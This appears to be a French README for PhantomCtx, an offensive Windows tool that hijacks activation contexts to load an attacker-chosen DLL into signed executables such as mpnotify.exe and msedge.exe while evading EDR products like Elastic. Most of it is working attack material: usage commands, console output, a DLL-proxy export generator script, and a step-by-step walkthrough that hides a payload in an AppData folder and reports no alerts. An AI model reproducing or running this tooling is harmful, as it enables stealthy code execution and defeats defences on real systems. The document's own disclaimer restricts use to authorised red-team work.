PhantomCtx

PhantomCtx est un outil qui automatise le détournement de contexte d'activation dans le but de charger une DLL arbitraire dans la grande majorité des exécutables signés (par exemple Microsoft, Adobe, Mozilla).

Le chargeur se présente comme une alternative moderne au détournement et au sideloading de DLL traditionnels : contrairement aux approches conventionnelles, il ne nécessite pas de binaire vulnérable. La technique peut être réalisée tant que l'exécutable cible résout une DLL via sa table d'adresses d'importation (IAT) ou, dans le pire des cas, via LoadLibrary sans chemin absolu.```c C:\PhantomCtx\x64>.\PhantomCtx.exe

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.

Pour une analyse plus approfondie de son fonctionnement interne et de la manière dont il contourne les solutions EDR agressives, consultez l'article sur [mon blog technique](https://rexmax.dev/posts/phantomctx-new-approach-to-activation-context-hijacking-for-edr-evasion/).

# Table des matières

- [Mécanisme interne](#mécanisme-interne)
  - [Une nouvelle méthode de détournement du contexte d'activation axée sur l'évasion EDR](#une-nouvelle-méthode-de-détournement-du-contexte-dactivation-axée-sur-lévasion-edr)
- [Comment compiler](#comment-compiler)
- [Utilisation : workflow basé sur les modules](#utilisation-workflow-basé-sur-les-modules)
  - [Reconnaissance (Recon)](#reconnaissance-recon)
  - [Lancement (Spawn) (recommandé)](#lancement-spawn-recommandé)
  - [Runtime](#runtime)
- [Exemple : Détournement du contexte d'activation + DLL Proxying de mpnotify.exe](#exemple-détournement-du-contexte-dactivation--dll-proxying-de-mpnotifyexe)
- [Avertissement](#avertissement)
- [Références](#références)

# Mécanisme interne

`PhantomCtx` abuse d'une fonctionnalité **légitime** de Windows présente dans la plupart des processus, appelée **Contextes d'activation** (Activation Contexts). Selon Microsoft :

>[_Les contextes d'activation_](https://learn.microsoft.com/fr-fr/windows/win32/sbscs/a-sbscs-gly) sont des structures de données en mémoire contenant des informations que le système peut utiliser pour rediriger une application **vers le chargement d'une version spécifique d'une DLL**, d'une instance d'objet COM ou d'une version de fenêtre personnalisée...

Lorsque le chargeur Windows résout une DLL (via `LoadLibrary` ou la table d'importation), il suit un ordre de résolution défini :

1. Redirection de DLL
2. Ensembles d'API (API sets)
3. **Redirection de manifeste SxS**
4. Liste des modules chargés
5. DLL connues (Known DLLs)
6. Graphe de dépendances du package du processus  
7 – 12. Ordre de recherche standard des fichiers sur disque

`PhantomCtx` cible l'étape 3 : **Redirection de manifeste SxS**. Les contextes d'activation sont dérivés des fichiers [Side-by-Side](https://en.wikipedia.org/wiki/Side-by-side_assembly) (`.manifest`) associés aux exécutables, généralement intégrés dans les binaires PE. En interne, un contexte d'activation contient une **Table des matières (Table of Contents - ToC)** indexant plusieurs sections, dont la **section de redirection de DLL**. Le chargeur accède généralement aux contextes d'activation via `PEB.ActivationContextData`.

Les recherches de [Kurosh Dabbagh Escalante](https://github.com/Kudaes) ont montré qu'un contexte d'activation malveillant peut être construit à l'aide de `CreateActCtxW`, écrit en mémoire `RW` dans un processus cible, puis activé en écrasant `PEB.ActivationContextData` pour pointer vers la structure fabriquée.

Une fois détourné, le chargeur résout les redirections de DLL définies dans le contexte d'activation malveillant, **redirigeant la résolution de bibliothèques** vers des chemins contrôlés par l'attaquant.

Le chargeur nommé `Eclipse`, développé dans le cadre de ses recherches, se trouve dans son [dépôt officiel](https://github.com/Kudaes/Eclipse).

## Une nouvelle méthode de détournement du contexte d'activation axée sur l'évasion EDR

Après de multiples tests, `Eclipse` a été détecté par des EDR agressifs comme Elastic aux points suivants :

- `Injection de code par processus suspendu potentiel` : création de processus suspendu suivie de `NtWriteVirtualMemory` pour copier le bloc AC dans le processus distant.
- `Écriture dans la mémoire d'un processus distant par un module de faible réputation` : `NtWriteVirtualMemory` sans `CreateProcess` dans la pile d'appels et un module de faible réputation, nécessaire pour écraser `PEB.ActivationContextData`.
- `Écriture mémoire à distance vers un processus cible de confiance` : `WriteProcessMemory` sans `CreateProcess` dans la pile d'appels, limité aux binaires système/utilisateur installés.

Après une journée de recherche à la recherche d'approches alternatives à implémenter dans `PhantomCtx`, j'ai découvert que **la région mémoire du contexte d'activation d'origine est une vue de section mappée lors de la création du processus**. Il est possible de **démapper cette vue de section à l'aide de** `NtUnmapViewOfSection`, puis de créer une nouvelle vue de section en lecture seule adossée à notre contexte d'activation malveillant, en la mappant à la **même adresse mémoire exacte** où se trouvait l'originale.

Par conséquent, il n'est **plus nécessaire** que le chargeur écrase le pointeur `PEB.ActivationContextData`. Cela élimine l'obligation d'utiliser `NtAllocateVirtualMemory` et `NtWriteVirtualMemory`, contournant ainsi toutes les règles de surveillance EDR liées aux écritures mémoire et aux injections dans des processus distants.

De plus, pour accroître la difficulté de détection, `PhantomCtx` n'utilise pas `CreateActCtxW`, ce qui supprime la nécessité de gérer les fichiers `.manifest` pendant l'attaque. Selon le mode choisi, il peut **voler le contexte d'activation d'un autre processus distant** contenant une section de redirection de DLL valide à l'aide de `NtReadVirtualMemory`, reconstruire localement les entrées de redirection de DLL, le patcher, puis remplacer l'original.

# Comment compiler

Pour compiler l'outil, il est recommandé d'utiliser Visual Studio ou un compilateur compatible.

Si vous utilisez VS, ouvrez l'`Invite de commandes Native Tools x64 pour VS`, accédez au répertoire racine du projet et compilez-le avec `compile.bat` :```
C:\PhantomCtx>.\compile.bat
[INFO] Created output directory: x64
[INFO] Compiling PhantomCtx...
main.c
utils.c
recon.c
actctx.c
c_runtime.c
dynamic_resolution.c
process_utils.c
spawn.c
runtime.c
Generating Code...
[SUCCESSFUL] Build successful: x64\PhantomCtx.exe

Utilisation : Workflow basé sur les modules

L'outil est conçu avec une architecture modulaire pour simplifier le développement tout en offrant à l'opérateur un workflow clair et basé sur des étapes.

Chaque module remplit un rôle spécifique dans le workflow d'exploitation.

Veuillez prendre un moment pour examiner l'objectif de chacun afin de tirer pleinement parti des capacités de l'outil !!!

L'attaque peut être effectuée soit sur un processus à lancer (recommandé) soit sur un processus déjà en cours d'exécution. L'outil est conçu pour gérer les deux scénarios.```c C:\PhantomCtx\x64>.\PhantomCtx.exe

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.

## Recon

Le mode `recon` se concentre sur l'analyse du contexte d'activation (Activation Context) du programme cible ou du processus en cours. C'est le premier module à exécuter, car il détermine quel sous-module d'exploitation doit être utilisé dans le workflow d'exploitation.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]

  Submodes:
        -s spawn        Spawn a process in suspended mode to retrieve its
                        Activation Context DLL redirection information.

        -s runtime      Attach to a currently running process to retrieve its
                        Activation Context DLL redirection information.

  Examples:
        PhantomCtx.exe -m recon -s spawn   -p C:\path\to\target.exe
        PhantomCtx.exe -m recon -s runtime -p target.exe

À titre d'exemple, nous utilisons le binaire Microsoft signé mpnotify.exe. La première étape consiste à déterminer s'il contient un contexte d'activation valide avec une section de redirection DLL.

Sinon, l'outil recommande le sous-module steal-context sous les modes spawn ou runtime, qui récupère un contexte d'activation depuis un autre processus contenant une section de redirection valide.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Windows\System32\mpnotify.exe" [SUCCESS] Suspended process created... [SUCCESS] Activation Context Data Blob copied to local heap buffer @00000294CEA79CD0 (916 bytes)

+-[ ACTIVATION CONTEXT DATA ] | Magic : 0x78746341 (Actx) | HeaderSize : 0x20 (32 bytes) | FormatVersion : 1 | TotalSize : 0x394 (916 bytes) | Flags : 0x00000000 | +--[ TOC ] 6 entries | [00] Id=1 Format=1 Offset=0x00D4 Length=0x0218 | [01] Id=4 Format=2 Offset=0x02EC Length=0x0028 | [02] Id=5 Format=2 Offset=0x0314 Length=0x0028 | [03] Id=6 Format=2 Offset=0x033C Length=0x0028 | [04] Id=9 Format=2 Offset=0x0364 Length=0x0028 | [05] Id=11 Format=1 Offset=0x038C Length=0x0008 | +--[ DLL REDIRECTION ] not present in this blob | +--[ HINT ] Use 'steal-context' to steal the Activation Context from a running process that has one. Example: -m spawn|runtime -s steal-context -p -d --dll-path --steal-from

Si le contexte d'activation du programme ou processus cible contient une section de redirection DLL valide, l'approche la plus efficace consiste à utiliser les sous-modules `add-entry` ou `patch-entry` dans les modes d'exploitation `spawn` ou `runtime`.

## Spawn (recommandé)

Le mode `spawn` est conçu pour effectuer un détournement de contexte d'activation en lançant un processus à partir d'un exécutable signé sur le système cible.

Cette méthode est la **plus recommandée** et la plus testée, en raison de sa simplicité opérationnelle et de sa fiabilité.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]

  Submodes:
        -s steal-context        Spawn a process and hijack its Activation Context
                                by stealing the context from another running process.

        -s add-entry            Spawn a process and hijack its Activation Context
                                by adding a new DLL redirection entry.

        -s patch-entry          Spawn a process and hijack its Activation Context
                                by patching the path of an existing DLL redirection entry.

  Options:
        -p <PATH>               Path to the target executable to spawn.
        -d <DLL>                Name of the DLL to hijack (e.g. comctl32.dll).
        --dll-path <PATH>       Path to the custom DLL to load.

  steal-context Options:
        --steal-from <NAME>     Process name to steal the Activation Context from.

  Examples:
        PhantomCtx.exe -m spawn -s steal-context  -p C:\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s add-entry      -p C:\program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s patch-entry    -p C:\program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

Le flux de travail interne de ce mode est le suivant :

Créer le processus cible dans un état suspendu en utilisant CreateProcessW.
Selon le sous-module sélectionné :
- steal-context : Ouvrir le processus de vol et copier un contexte d'activation valide contenant une section de redirection DLL dans un tampon local. Selon si une entrée pour la DLL cible existe déjà, une nouvelle entrée est créée ou une existante est patchée. Le contexte d'activation modifié est ensuite mappé dans le processus suspendu, remplaçant l'original.
- add-entry : Ouvrir le processus du programme suspendu et copier son contexte d'activation dans un tampon local. Une nouvelle entrée de redirection DLL est ajoutée pour la DLL spécifiée, et le contexte d'activation modifié remplace l'original.
- patch-entry : Ouvrir le processus du programme suspendu et copier son contexte d'activation dans un tampon local. L'entrée de redirection DLL existante pour la DLL spécifiée est patchée pour pointer vers le chemin de la DLL de payload fourni, et le contexte d'activation modifié remplace l'original.
Reprendre l'exécution du processus suspendu en utilisant ResumeThread.

Le sous-module steal-context est recommandé lorsque l'exécutable cible ne contient pas de contexte d'activation valide ou de section de redirection DLL valide. Cela peut être déterminé en utilisant le module recon exécuté précédemment.

Une cible fiable pour le vol de contexte est explorer.exe. Cela n'introduit pas d'instabilité ni de risque de détection, car l'opération ne consiste qu'à lire la mémoire virtuelle.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path C:\hijack\hijack.dll [SUCCESS] Found 'explorer.exe' PID 1604 [SUCCESS] Opened handle to PID 1604 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000001AC80F53FD0 (8256 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2040 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\hijack\hijack.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\hijack\hijack.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2040 -> 0x20E4 [SUCCESS] Blob patched. New TotalSize = 0x20E4

[SUCCESS] Original Activation Context region unmapped @ 00000164EA0A0000 [SUCCESS] Patched Activation Context mapped at 00000164EA0A0000 (same address) [SUCCESS] Target process resumed. ``` Les sous-modules `add-entry` et `patch-entry` sont utilisés lorsque **l’application possède déjà un contexte d’activation valide avec une section de redirection DLL** et :

Elle contient déjà une entrée de redirection pour une DLL ; dans ce cas, patch-entry est l’option appropriée.
Une redirection personnalisée doit être ajoutée pour une bibliothèque qui devrait être chargée lors de l’exécution ; dans ce cas, add-entry est utilisé.

Bien que steal-context puisse encore être utilisé dans ces scénarios, cela est généralement inutile, car un contexte d’activation valide est déjà disponible pour modification.

Un exemple de patch-entry peut être observé après avoir énuméré msedge.exe avec PhantomCtx, où une entrée de redirection personnalisée existante pour msedge_elf.dll est identifiée :```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s patch-entry -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll ``` Alternativement, en énumérant l'IAT du processus cible, les DLL importées adaptées au détournement peuvent être identifiées. Par exemple, `librewolf.exe` importe `SHLWAPI.dll` même si elle n'est pas présente dans le manifeste du contexte d'activation ; dans ce cas, elle peut être ajoutée à la table de redirection pour forcer la résolution.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s add-entry -p "C:\Program Files\LibreWolf\librewolf.exe" -d SHLWAPI.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

Le mode runtime est conçu pour effectuer un hijacking du Activation Context sur un processus signé déjà en cours d'exécution.

Bien que ce module soit implémenté, son efficacité dépend de la connaissance précise du moment et de la bibliothèque spécifique chargée pendant l'exécution du processus. Par conséquent, même si le Activation Context du processus légitime est détourné, le succès dépend toujours du fait que la cible appelle LoadLibrary sans chemin explicite, ce qui est souvent difficile à prévoir.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -h

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]

Submodes: -s steal-context Hijack the Activation Context of a running process by stealing the context from another running process.

    -s add-entry            Hijack the Activation Context of a running process
                            by adding a new DLL redirection entry.

    -s patch-entry          Hijack the Activation Context of a running process
                            by patching the path of an existing DLL redirection entry.

Options: -p <PROCESS_NAME> Name of the already running target process (e.g. notepad.exe). -d Name of the DLL to hijack (e.g. comctl32.dll). --dll-path Path to the custom DLL to load.

steal-context Options: --steal-from Process name to steal the Activation Context from.

Examples: PhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

Le flux de travail interne de ce mode est le suivant :
1. Le PID du processus cible est identifié à partir de son nom d'exécutable, et le processus est ouvert avec les permissions `PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION`.
2. Selon le sous-module sélectionné :
    - `steal-context` : Ouvrir le processus cible et copier un contexte d'activation valide contenant une section de redirection DLL dans un tampon local. Selon qu'une entrée pour la DLL cible existe déjà, une nouvelle entrée est créée ou l'entrée existante est patchée. Le contexte d'activation modifié est ensuite mappé dans le processus en cours d'exécution, remplaçant l'original.
	  
	- `add-entry` : Ouvrir le processus cible en cours d'exécution et copier son contexte d'activation dans un tampon local. Une nouvelle entrée de redirection DLL est ajoutée pour la DLL spécifiée, et le contexte d'activation modifié remplace l'original.
	  
	- `patch-entry` : Ouvrir le processus cible en cours d'exécution et copier son contexte d'activation dans un tampon local. L'entrée de redirection DLL existante pour la DLL spécifiée est patchée pour pointer vers la DLL de charge utile fournie, et le contexte d'activation mis à jour remplace l'original.

Le sous-module `steal-context` est recommandé lorsque **le processus cible en cours d'exécution ne contient pas de contexte d'activation valide ou de section de redirection DLL valide**. Cela peut être déterminé à l'aide du module `recon` exécuté précédemment.

Une cible fiable pour le vol de contexte est `explorer.exe`. Cela n'introduit pas d'instabilité ni de risque de détection, car l'opération implique uniquement la lecture de la mémoire virtuelle.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s steal-context -p cmd.exe --steal-from explorer.exe -d user32.dll --dll-path C:\hijack\hijack.dll

<SNIP>

[INFO] Patched ActivationContextData:

<SNIP>
|
+--[ DLL REDIRECTION ] 3 entries
|  [00] user32.dll
|       PseudoKey  : 0x0DB00860
|       RosterIdx  : 1
|       Flags      : PATH_INCLUDES_BASE_NAME
|       Segments   : 1  PathLen=40 bytes
|       Path       : C:\hijack\hijack.dll

<SNIP>
[SUCCESS] Activation Context hijacked in running process 'cmd.exe'.

Les sous-modules add-entry et patch-entry sont utilisés lorsque le processus en cours possède déjà un contexte d'activation valide avec une section de redirection de DLL et :

Il contient déjà une entrée de redirection pour une DLL ; dans ce cas, patch-entry est l'option appropriée.
Une redirection personnalisée doit être ajoutée pour une bibliothèque qui est censée être chargée pendant l'exécution ; dans ce cas, add-entry est utilisé.

Bien que steal-context puisse encore être utilisé dans ces scénarios, il est généralement inutile, car un contexte d'activation valide est déjà disponible pour modification.

Un exemple de patch-entry peut être observé après l'énumération du processus msedge.exe avec PhantomCtx, où une entrée de redirection personnalisée existante pour msedge_elf.dll est identifiée :```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s runtime -p msedge.exe

C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s patch-entry -p msedge.exe -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | [SUCCESS] Activation Context hijacked in running process 'msedge.exe'. ``` Alternativement, en énumérant les événements d'exécution du processus cible, les DLL chargées pendant l'exécution qui sont appropriées pour le détournement peuvent être identifiées à l'aide d'outils tels que `Procmon`. Dans de tels cas, elle peut être ajoutée à la table de redirection pour forcer la résolution.```c .\PhantomCtx.exe -m runtime -s add-entry -p msedge.exe -d target.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

Examinons un cas pratique où PhantomCtx reste indétectable sur une machine Windows 11 entièrement mise à jour exécutant l'agent Elastic Cloud XDR avec toutes les règles activées et configurées en mode Prevent pour le rendre aussi agressif que possible.

Notez que nous ciblons des binaires Windows 11 ; par conséquent, si notre machine attaquante exécute Windows 10, nous devons transférer les exécutables et DLL analysés vers notre machine.

La première étape consiste à identifier un exécutable Windows qui importe des DLL pertinentes.

Dans ce cas, nous allons utiliser PE-Bear pour inspecter la table d'adresses d'importation (IAT) de l'exécutable signé C:\Windows\System32\mpnotify.exe, où ADVAPI32.dll peut être identifiée comme l'une de ses importations :

Pour éviter que l'application ne plante ou ne présente un comportement inattendu lors du chargement de notre payload, un proxy DLL doit être mis en place afin que notre payload transmette les appels à la DLL d'origine.

DLL Export Viewer sera utilisé pour extraire toutes les fonctions exportées de ADVAPI32.dll et générer les directives de redirection qui seront spécifiées dans le code source de notre DLL proxy.

Une fois que C:\Windows\System32\advapi32.dll est ouvert dans DLL Export Viewer, naviguez vers View > HTML Report - All Functions.

Il est nécessaire de garder la fenêtre du navigateur ouverte afin que le fichier report.html généré reste disponible. Le chemin du fichier est ensuite copié et traité à l'aide du script Python suivant développé par itm4n :```python """ The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately. """ from future import print_function import argparse

def main(): parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser") parser.add_argument("report", help="the HTML report generated by DLL Export Viewer") args = parser.parse_args() report = args.report

try:
    f = open(report)
    page = f.readlines()
    f.close()
except:
    print("[-] ERROR: open('%s')" % report)
    return

for line in page:
    if line.startswith("<tr>"):
        cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
        function_name = cols[1]
        ordinal = cols[4].split(' ')[0]
        dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
        print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))

if name == 'main': main()

ENTRÉE :```c
C:\Users\rexmax\Documents\DLL Proxying>.\exports.py dllexp\report.html
#pragma comment(linker,"/export:A_SHAFinal=advapi32_orig.A_SHAFinal,@1002")
#pragma comment(linker,"/export:A_SHAInit=advapi32_orig.A_SHAInit,@1003")
#pragma comment(linker,"/export:A_SHAUpdate=advapi32_orig.A_SHAUpdate,@1004")
<SNIP>

Toutes les exportations de la sortie sont copiées dans le code source de payload.c, après quoi la DLL est compilée et placée aux côtés de PhantomCtx sur la machine de l'attaquant, ainsi qu'une copie de la bibliothèque originale renommée advapi32_orig.dll.

Les fichiers requis doivent être organisés comme suit :```c C:\Users\rexmax\Documents\WindowsInternals\PhantomCtx\x64>dir

06/13/2026 08:53 PM 158,208 advapi32.dll 06/10/2026 01:52 AM 753,544 advapi32_orig.dll 06/13/2026 08:28 PM 198,144 PhantomCtx.exe

Les fichiers sont ensuite transférés vers un répertoire sur la machine cible Windows 11. Dans ce cas, ils sont déposés dans :```
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache

Ensuite, l'Activation Context Hijacking est effectué sur le binaire mpnotify.exe à l'aide de PhantomCtx :```c C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path "C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll" [SUCCESS] Found 'explorer.exe' PID 6380 [SUCCESS] Opened handle to PID 6380 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000002B135B26AA0 (8276 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2054 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2054 -> 0x2166 [SUCCESS] Blob patched. New TotalSize = 0x2166

[INFO] Patched ActivationContextData:

[SUCCESS] Suspended process created... [INFO] Original PEB.ActivationContextData = 0000021D10BA0000 [SUCCESS] Patched blob written to section (8550 bytes) [SUCCESS] Original Activation Context region unmapped @ 0000021D10BA0000 [SUCCESS] Patched Activation Context mapped at 0000021D10BA0000 (same address) [SUCCESS] Target process resumed.

Dans ce cas, la DLL de la charge utile exécute `calc.exe`. Aucune alerte n'a été générée.

![](https://assets.kitploit.com/production/public/readmes/8764/520c6f0b907c6e07fef747a8e0139a9f268f0a83fab1964b4d0e28a144144d93.png)

![](https://assets.kitploit.com/production/public/readmes/8764/de01fe20cd0f075525a0cd388b47d0cf4435f54119b87fab0363c5e82b2663d7.png)

# Avertissement

Cet outil a été développé à des **fins éducatives personnelles** et est destiné exclusivement 
aux professionnels de la sécurité et aux opérateurs d'équipes rouges travaillant dans des **environnements autorisés**.

L'utilisation de PhantomCtx contre des systèmes sans autorisation explicite est **illégale** et 
strictement interdite. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages 
causés par cet outil.

# Références
- [Détournement de contexte d'activation par Kurosh Dabbagh - Conférence Navaja](https://www.youtube.com/watch?v=qu4fXWKjabY)
- [Chargeur 'Eclipse' par détournement de contexte d'activation](https://github.com/Kudaes/Eclipse)
- [NtDoc](https://ntdoc.m417z.com/)
- [Code source de ReactOS](https://github.com/reactos/reactos)
- [Livre Windows Internals](https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals)

PhantomCtx

Populaires

PhantomCtx

Utilisation : Workflow basé sur les modules